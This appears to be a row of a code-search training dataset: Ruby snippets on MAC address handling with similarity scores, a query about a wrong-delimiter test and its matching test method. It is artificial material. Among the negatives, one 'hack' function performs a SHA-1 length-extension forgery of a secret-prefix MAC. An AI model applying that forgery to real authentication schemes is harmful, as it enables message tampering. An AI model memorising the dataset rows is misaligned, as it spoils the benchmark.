')\n if data[0].to_i.to_s == data[0].to_s\n macs << mac = {:index => data[0], :address => data[1]}\n unless data[2].blank?\n mac[:enabled] = data[2] == 'Enabled'\n else\n mac[:enabled] = true\n end\n end\n end\n macs\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def reg_binary_to_mac(mac_v)\n\t\tbssid = mac_v.data.to_s.unpack(\"H*\")[0]\n\t\tbssid.insert(2,\":\")\n\t\tbssid.insert(5,\":\")\n\t\tbssid.insert(8,\":\")\n\t\tbssid.insert(11,\":\")\n\t\tbssid.insert(14,\":\")\n\t\treturn bssid\n\tend", "def generate_by_vendor(vendor, opts = {})\n ouis = vendor_table[vendor]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for vendor: #{vendor}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: vendor,\n address: oui[:address],\n iso_code: oui[:iso_code])\n end", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def pretty\n\t\tmacocts = []\n\t\tmac_addr.each_byte { |o| macocts << o }\n\t\tmacocts += [0] * (6 - macocts.size) if macocts.size < 6\n\t\treturn sprintf(\n\t\t\t\t\"#{mac_name}\\n\" +\n\t\t\t\t\"Hardware MAC: %02x:%02x:%02x:%02x:%02x:%02x\\n\" +\n\t\t\t\t\"IP Address : %s\\n\" +\n\t\t\t\t\"Netmask : %s\\n\" +\n\t\t\t\t\"\\n\", \n\t\t\t\tmacocts[0], macocts[1], macocts[2], macocts[3], \n\t\t\t\tmacocts[4], macocts[5], ip, netmask)\n\tend", "def get_gdom_mac(options)\n message = \"Information:\\tGetting guest domain \"+options['name']+\" MAC address\"\n command = \"ldm list-bindings #{options['name']} |grep '#{options['vmnic']}' |awk '{print $5}'\"\n output = execute_command(options,message,command)\n options['mac'] = output.chomp\n return options['mac']\nend", "def calc_cmc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n mac_array[-2] = \"F%d\" % [i / 100]\n mac_array[-1] = \"%02d\" % [i % 100]\n mac_array.join(\":\")\nend", "def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end", "def dest_mac\n self[:dest_mac]\n end", "def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def generateEmailAddress()\n uuid = SecureRandom.hex(3)\n return \"%s.%[email protected]\" % [uuid, @MAILBOX]\n end", "def set_mac_address(mac)\n execute(\"modifyvm\", @uuid, \"--macaddress1\", mac)\n end", "def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def network_objects_add_mac(rule_name,data)\n \n addr_list = data.split(',')\n self.msg(rule_name, :debug, 'network_objects_add_mac', \"addr_list\" +addr_list.to_s)\n \n addr_list.each do |dual_mac_data|\n \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"processing mac address\" +dual_mac_data.to_s)\n \n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value(\"4\")\n mac_data=dual_mac_data.split('/')\n \n if mac_data.length > 0 and mac_data.length < 3\n \n if mac_data[0].size > 0 \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"set mac \" + mac_data[0])\n str_mac_data = mac_data[0].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac0').set(octets[0])\n @ff.text_field(:name, 'mac1').set(octets[1])\n @ff.text_field(:name, 'mac2').set(octets[2])\n @ff.text_field(:name, 'mac3').set(octets[3])\n @ff.text_field(:name, 'mac4').set(octets[4])\n @ff.text_field(:name, 'mac5').set(octets[5])\n end # end of if...\n \n end # end of if mac_data.len...\n \n if mac_data.length == 2\n \n if mac_data[1].size > 0\n \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"set mac mask\" + mac_data[1])\n # set the mask\n str_mac_data = mac_data[1].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac_mask0').set(octets[0])\n @ff.text_field(:name, 'mac_mask1').set(octets[1])\n @ff.text_field(:name, 'mac_mask2').set(octets[2])\n @ff.text_field(:name, 'mac_mask3').set(octets[3])\n @ff.text_field(:name, 'mac_mask4').set(octets[4])\n @ff.text_field(:name, 'mac_mask5').set(octets[5])\n \n end\n\n end\n \n @ff.link(:text, 'Apply').click\n \n end # end of addr_list.each...\n \n end", "def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end", "def net_set_mac(mac_addr)\n execute(:set_network_mac, VmId: vm_id, Mac: mac_addr)\n end", "def manufacturer_id\n mac[0..7]\n end", "def check_fusion_vm_mac(options)\n if options['mac'].gsub(/:/,\"\").match(/^08/)\n handle_output(options,\"Warning:\\tInvalid MAC address: #{options['mac']}\")\n options['vm'] = \"fusion\"\n options['mac'] = generate_mac_address(options['vm'])\n handle_output(options,\"Information:\\tGenerated new MAC address: #{options['mac']}\")\n end\n return options['mac']\nend", "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def mac\n @attributes.fetch('mac', nil)\n end", "def get_next_mac_address(serial_number, dt_wo)\n dt_wo.total_mac_addresses += 1\n serial_number = serial_number[5,5].to_i\n \n serial_number = serial_number.to_s(16)\n serial_number = serial_number.rjust(4, '0')\n mac_address = dt_wo.starting_mac_address + '00' + ':' + serial_number[0,2] + ':' + serial_number[2,2]\n dt_wo.current_mac_address = mac_address\n dt_wo.save!\n return mac_address\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def change_fusion_vm_mac(options)\n (fusion_vm_dir,fusion_vmx_file,fusion_disk_file) = check_fusion_vm_doesnt_exist(options)\n if not File.exist?(fusion_vmx_file)\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} does not exist \")\n quit(options)\n end\n copy=[]\n file=IO.readlines(fusion_vmx_file)\n file.each do |line|\n if line.match(/generatedAddress/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n if line.match(/ethernet0\\.address/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n copy.push(line)\n end\n end\n end\n File.open(fusion_vmx_file,\"w\") {|file_data| file_data.puts copy}\n return\nend", "def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend" ]
[ "0.7927211", "0.76514775", "0.74453306", "0.7393037", "0.73881054", "0.7123027", "0.70720816", "0.70456654", "0.6991332", "0.6820584", "0.6699007", "0.6685494", "0.66563463", "0.65917194", "0.65917194", "0.6545933", "0.6495381", "0.64617956", "0.6442073", "0.6357877", "0.6286501", "0.62696034", "0.62406677", "0.6236751", "0.6220667", "0.62024903", "0.6153071", "0.6153071", "0.61359227", "0.6100026", "0.60612875", "0.605247", "0.6037058", "0.60351694", "0.602946", "0.6028471", "0.60083884", "0.59758836", "0.59758836", "0.59736377", "0.5969974", "0.59681416", "0.5964369", "0.5943427", "0.5929311", "0.5924263", "0.59059715", "0.5890094", "0.58777416", "0.5873874", "0.5873099", "0.58512306", "0.58415204", "0.58396584", "0.58300704", "0.58125156", "0.5783614", "0.57827", "0.57672817", "0.57522535", "0.5725488", "0.57051873", "0.5704944", "0.57029915", "0.5684983", "0.56811476", "0.56778044", "0.56778044", "0.5660812", "0.56596106", "0.56475115", "0.5646891", "0.5639537", "0.5634933", "0.56334776", "0.5622314", "0.56131285", "0.559386", "0.55849653", "0.55849653", "0.5566227", "0.5563259", "0.5560751", "0.5549007", "0.5544326", "0.5532931", "0.5532497", "0.5523847", "0.55213904", "0.54587805", "0.5456307", "0.544624", "0.54377663", "0.5435367", "0.54306746", "0.5428946", "0.5428939", "0.5417738", "0.5384689", "0.53813577" ]
0.74970293
2
Cannot generate mac with wrong delimiter
def test_gen_mac_wrong_delimiter assert_raises ArgumentError do RFauxFactory.gen_mac(delimiter: RFauxFactory.gen_alpha(1)) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def calc_cmc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n mac_array[-2] = \"F%d\" % [i / 100]\n mac_array[-1] = \"%02d\" % [i % 100]\n mac_array.join(\":\")\nend", "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end", "def mac_mri?; end", "def random_mac(oui=nil)\n mac_parts = [oui||DEFAULT_OUI]\n [0x7f, 0xff, 0xff].each do |limit|\n mac_parts << \"%02x\" % rand(limit + 1)\n end\n mac_parts.join('-')\nend", "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "def calc_mac(post)\n string = '';\n post.sort_by {|sym| sym.to_s}.map do |key,value|\n if key != 'MAC'\n if string.length > 0\n string += '&'\n end\n string += \"#{key}=#{value}\"\n end\n end\n post[:MAC] = OpenSSL::HMAC.hexdigest('sha256', hexto_sring(@options[:password]), string)\n end", "def test_gen_mac_multicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: true, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 3\n end", "def pretty\n\t\tmacocts = []\n\t\tmac_addr.each_byte { |o| macocts << o }\n\t\tmacocts += [0] * (6 - macocts.size) if macocts.size < 6\n\t\treturn sprintf(\n\t\t\t\t\"#{mac_name}\\n\" +\n\t\t\t\t\"Hardware MAC: %02x:%02x:%02x:%02x:%02x:%02x\\n\" +\n\t\t\t\t\"IP Address : %s\\n\" +\n\t\t\t\t\"Netmask : %s\\n\" +\n\t\t\t\t\"\\n\", \n\t\t\t\tmacocts[0], macocts[1], macocts[2], macocts[3], \n\t\t\t\tmacocts[4], macocts[5], ip, netmask)\n\tend", "def mac_address(prefix: T.unsafe(nil)); end", "def test_gen_mac_multicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: true, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 1\n end", "def mac\n options[:mac]\n end", "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "def mac\n @attributes.fetch('mac', nil)\n end", "def fix_mac_vs_pc!(email)\n email.gsub!(/&#38;/, \"&amp;\")\n email.gsub!(/ &#8212;/, \"&#8212;\")\n email.gsub!(/^\\s+/, \"\")\n email.gsub!(/\\r\\n?/, \"\\n\")\n end", "def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def fix_mac!\n if self =~ /\\bMac[A-Za-z]{2,}[^acizj]\\b/ || self =~ /\\bMc/\n gsub!(/\\b(Ma?c)([A-Za-z]+)/) { |_| Regexp.last_match[1] + Regexp.last_match[2].capitalize }\n\n # Fix Mac exceptions\n %w[\n MacEdo MacEvicius MacHado MacHar MacHin MacHlin MacIas MacIulis MacKie\n MacKle MacKlin MacKmin MacKmurdo MacQuarie MacLise MacKenzie\n ].each { |mac_name| substitute!(/\\b#{mac_name}/, mac_name.capitalize) }\n end\n\n self # Allows chaining\n end", "def reg_binary_to_mac(mac_v)\n\t\tbssid = mac_v.data.to_s.unpack(\"H*\")[0]\n\t\tbssid.insert(2,\":\")\n\t\tbssid.insert(5,\":\")\n\t\tbssid.insert(8,\":\")\n\t\tbssid.insert(11,\":\")\n\t\tbssid.insert(14,\":\")\n\t\treturn bssid\n\tend", "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "def mac_address\n super\n end", "def mac\n config[\"mac\"]\n end", "def mac?\n @mac\n end", "def mac_masquerade_address\n super\n end", "def mac_masquerade_address\n super\n end", "def true_mac_address\n super\n end", "def true_mac_address\n super\n end", "def create_login_msg(pw)\r\n delim = \"\\xFF\"\r\n login_str = \"#{delim}000000#{delim}20180810213226#{delim}01#{delim}60\"\\\r\n \"#{delim}02#{delim}1111#{delim}#{pw}#{delim}AAAAA#{delim}120\"\r\n\r\n end", "def base_mac_address\n super\n end", "def separator = '********************' * 8", "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def mac(dir,sgmt,v,opt=nil)\n\t# if dir, its a push command, o.w. its a pop\n\tret = dir ? \"@SP\\nA=M\\nM=D\\n@SP\\nM=M+1\\n\" : \"@SP\\nAM=M-1\\nD=M\\n\"\n\tcase sgmt\n\twhen \"static\"\n\t\tret = dir ? \"@\"+opt+\".\"+v+\"\\nD=M\\n\"+ret : ret + \"@\"+opt+\".\"+v+\"\\nM=D\\n\"\n\twhen \"constant\", \"temp\"\n\t\tt = sgmt == \"temp\" ? [(v.to_i + 5).to_s,'M'] : [v,'A']\n\t\t# push: D = RAM[t] or D = t (if constant) then push; pop: RAM[t] = RAM[SP]\n\t\tret = dir ? \"@\"+t[0]+\"\\nD=\"+t[1] +\"\\n\"+ret : ret+\"@\"+t[0]+\"\\nM=D\\n\"\n\twhen \"this\",\"that\",\"local\",\"argument\"\n\t\t# yes this double ternary is gross, but it shortens the code considerably\n\t\ttag = \"thisthat\".include?(sgmt) ? sgmt.upcase : (sgmt == \"local\" ? \"LCL\" : \"ARG\")\n\t\t# D or A = RAM[tag]+v \n\t\tt = \"@\"+tag+\"\\nD=M\\n@\"+v+\"\\n\"+(dir ? 'A': 'D')+\"=D+A\\n\"\n\t\tret = dir ? \n\t\t# D = RAM[D] then RAM[SP] = D\n\t\tt+\"D=M\\n\"+ret : \n\t\t# RAM[13] = D then RAM[RAM[13]] = RAM[SP]\n\t\tt+\"@13\\nM=D\\n\"+ret+\"@13\\nA=M\\nM=D\\n\" \n\twhen \"pointer\"\n\t\tt = v == \"1\" ? \"@THAT\\n\" : \"@THIS\\n\"\n\t\tret = dir ? t+\"D=M\\n\"+ret : ret+t+\"M=D\\n\"\n\telse return -1 \n\tend\n\treturn ret\nend", "def qos_add_mac(rule_name,data)\n \n addr_list = data.split(',')\n self.msg(rule_name, :debug, 'qos_add_rule', \"addr_list\" +addr_list.to_s)\n \n addr_list.each do |dual_mac_data|\n \n self.msg(rule_name, :debug, 'qos_add_rule', \"processing mac address\" +dual_mac_data.to_s)\n \n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value(\"4\")\n mac_data=dual_mac_data.split('/')\n \n if mac_data.length > 0 and mac_data.length < 3\n \n if mac_data[0].size > 0 \n self.msg(rule_name, :debug, 'qos_add_rule', \"set mac \" + mac_data[0])\n str_mac_data = mac_data[0].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac0').set(octets[0])\n @ff.text_field(:name, 'mac1').set(octets[1])\n @ff.text_field(:name, 'mac2').set(octets[2])\n @ff.text_field(:name, 'mac3').set(octets[3])\n @ff.text_field(:name, 'mac4').set(octets[4])\n @ff.text_field(:name, 'mac5').set(octets[5])\n end # end of if...\n \n end # end of if mac_data.len...\n \n if mac_data.length == 2\n \n if mac_data[1].size > 0\n \n self.msg(rule_name, :debug, 'qos_add_rule', \"set mac mask\" + mac_data[1])\n # set the mask\n str_mac_data = mac_data[1].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac_mask0').set(octets[0])\n @ff.text_field(:name, 'mac_mask1').set(octets[1])\n @ff.text_field(:name, 'mac_mask2').set(octets[2])\n @ff.text_field(:name, 'mac_mask3').set(octets[3])\n @ff.text_field(:name, 'mac_mask4').set(octets[4])\n @ff.text_field(:name, 'mac_mask5').set(octets[5])\n \n end\n\n end\n \n @ff.link(:text, 'Apply').click\n \n end # end of addr_list.each...\n \n end", "def change_fusion_vm_mac(options)\n (fusion_vm_dir,fusion_vmx_file,fusion_disk_file) = check_fusion_vm_doesnt_exist(options)\n if not File.exist?(fusion_vmx_file)\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} does not exist \")\n quit(options)\n end\n copy=[]\n file=IO.readlines(fusion_vmx_file)\n file.each do |line|\n if line.match(/generatedAddress/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n if line.match(/ethernet0\\.address/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n copy.push(line)\n end\n end\n end\n File.open(fusion_vmx_file,\"w\") {|file_data| file_data.puts copy}\n return\nend", "def manufacturer_id\n mac[0..7]\n end", "def network_objects_add_mac(rule_name,data)\n \n addr_list = data.split(',')\n self.msg(rule_name, :debug, 'network_objects_add_mac', \"addr_list\" +addr_list.to_s)\n \n addr_list.each do |dual_mac_data|\n \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"processing mac address\" +dual_mac_data.to_s)\n \n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value(\"4\")\n mac_data=dual_mac_data.split('/')\n \n if mac_data.length > 0 and mac_data.length < 3\n \n if mac_data[0].size > 0 \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"set mac \" + mac_data[0])\n str_mac_data = mac_data[0].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac0').set(octets[0])\n @ff.text_field(:name, 'mac1').set(octets[1])\n @ff.text_field(:name, 'mac2').set(octets[2])\n @ff.text_field(:name, 'mac3').set(octets[3])\n @ff.text_field(:name, 'mac4').set(octets[4])\n @ff.text_field(:name, 'mac5').set(octets[5])\n end # end of if...\n \n end # end of if mac_data.len...\n \n if mac_data.length == 2\n \n if mac_data[1].size > 0\n \n self.msg(rule_name, :debug, 'network_objects_add_mac', \"set mac mask\" + mac_data[1])\n # set the mask\n str_mac_data = mac_data[1].strip\n octets=str_mac_data.split(':')\n @ff.text_field(:name, 'mac_mask0').set(octets[0])\n @ff.text_field(:name, 'mac_mask1').set(octets[1])\n @ff.text_field(:name, 'mac_mask2').set(octets[2])\n @ff.text_field(:name, 'mac_mask3').set(octets[3])\n @ff.text_field(:name, 'mac_mask4').set(octets[4])\n @ff.text_field(:name, 'mac_mask5').set(octets[5])\n \n end\n\n end\n \n @ff.link(:text, 'Apply').click\n \n end # end of addr_list.each...\n \n end", "def read_mac_address\n end", "def initialize\n\t@mac11 = Array.new\n\t@mac12 = Array.new\n\t@mac13 = Array.new\n\t@mac14 = Array.new\n\n @istr = String.new\n\ti = 0\n while ( i < CM_CMC_MSG_SIZE )\n @istr = @istr + ' '\n i = i + 1\n end\n end", "def has_euca_mac?\n !!(Facter.value(:macaddress) =~ %r{^[dD]0:0[dD]:})\n end", "def check_fusion_vm_mac(options)\n if options['mac'].gsub(/:/,\"\").match(/^08/)\n handle_output(options,\"Warning:\\tInvalid MAC address: #{options['mac']}\")\n options['vm'] = \"fusion\"\n options['mac'] = generate_mac_address(options['vm'])\n handle_output(options,\"Information:\\tGenerated new MAC address: #{options['mac']}\")\n end\n return options['mac']\nend", "def mac_eth0\n eth0.mac_address\n end", "def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend", "def hex() end", "def hack(secret_size, msg, mac, final)\n sha1 = Chal28.new\n hash_words = mac.scan(/.{8}/).map{|u| u.to_i(16)}\n fake_secret = \"A\" * secret_size\n padded_orig_msg = sha1.pad_message(fake_secret + msg)\n glue_padding = padded_orig_msg.pack(\"N*\")[(fake_secret.size + msg.size)..-1]\n padded_hack_msg = sha1.pad_message(fake_secret + msg + glue_padding + final)\n\n extra_data = padded_hack_msg[padded_orig_msg.size..-1]\n\n extra_data.each_slice(16) do |chunk|\n hash_words = sha1.sha1_reduce(chunk, hash_words)\n end\n\n hacked_mac = (\"%08x\"*5) % hash_words\n\n [msg + glue_padding + final, hacked_mac]\n end", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def maskify(cc)\n characters = cc.to_s.length - 4\n\n array = cc.to_s.split('')\n values = array.values_at(-4, -3, -2, -1)\n joint_values = values.join('')\n\n result = (\"#\" * characters) + joint_values\n return result\nend", "def not_a_mac\n if mac?\n return false\n else\n puts I18n.t(:mac_only)\n return true\n end\n end", "def get_parallels_vm_mac(options)\n message = \"Information:\\tGetting MAC address for \"+options['name']\n command = \"prlctl list --info #{options['name']} |grep net0 |grep mac |awk '{print $4}' |cut -f2 -d=\"\n vm_mac = execute_command(options,message,command)\n vm_mac = vm_mac.chomp\n vm_mac = vm_mac.gsub(/\\,/,\"\")\n return vm_mac\nend", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "def encode_mac(mac_address)\n Digest::SHA1.hexdigest(mac_address).upcase\n end", "def mac?\n mac_internal?\n end", "def get_vbox_vm_mac(client_name)\n message = \"Getting:\\tMAC address for \"+client_name\n command = \"VBoxManage showvminfo #{client_name} |grep MAC |awk '{print $4}'\"\n vbox_vm_mac = execute_command(message,command)\n vbox_vm_mac = vbox_vm_mac.chomp\n vbox_vm_mac = vbox_vm_mac.gsub(/\\,/,\"\")\n return vbox_vm_mac\nend", "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "def read_mac_addresses\n read_vm_option('mac').strip.gsub(':', '').split(' ')\n end", "def machine_s\n machine_s = machine.to_s\n padding = above_zero(PREFIX_LENGTH - machine_s.length)\n machine_s.insert(0, '0' * padding)\n end", "def to_hexa\n [self.token].pack('H*')\n end", "def to_hex(sep_bytes=false)\n hx = @bytes.unpack('H*')[0].upcase\n if sep_bytes\n sep = \"\"\n (0...hx.size).step(2) do |i|\n sep << \" \" unless i==0\n sep << hx[i,2]\n end\n hx = sep\n end\n hx\n end", "def dell_mac_addresses\n macs = []\n result = run_command([\"delloem\", \"mac\"])\n result.each_line do |line|\n data = line.split(' ')\n if data[0].to_i.to_s == data[0].to_s\n macs << mac = {:index => data[0], :address => data[1]}\n unless data[2].blank?\n mac[:enabled] = data[2] == 'Enabled'\n else\n mac[:enabled] = true\n end\n end\n end\n macs\n end", "def maskify(cc)\n # your beautiful code goes here\n cc.length <= 4 ? cc : \"#\" * (cc.length-4) + cc[-4..-1]\nend", "def maskify(cc)\n # your beautiful code goes here\n \n text_length = cc.length\n \n new_text = \"\"\n last_four = cc.strip\n \n \n if text_length > 4\n loop_times = text_length-4\n loop_times.times do \n new_text.insert(0, \"#\") \n last_four.slice!(0)\n end\n elsif text_length > 0 && text_length <= 4\n last_four = cc\n else \n return \"\"\n end\n \n \n \n final = \"#{new_text}#{last_four}\"\n \n return 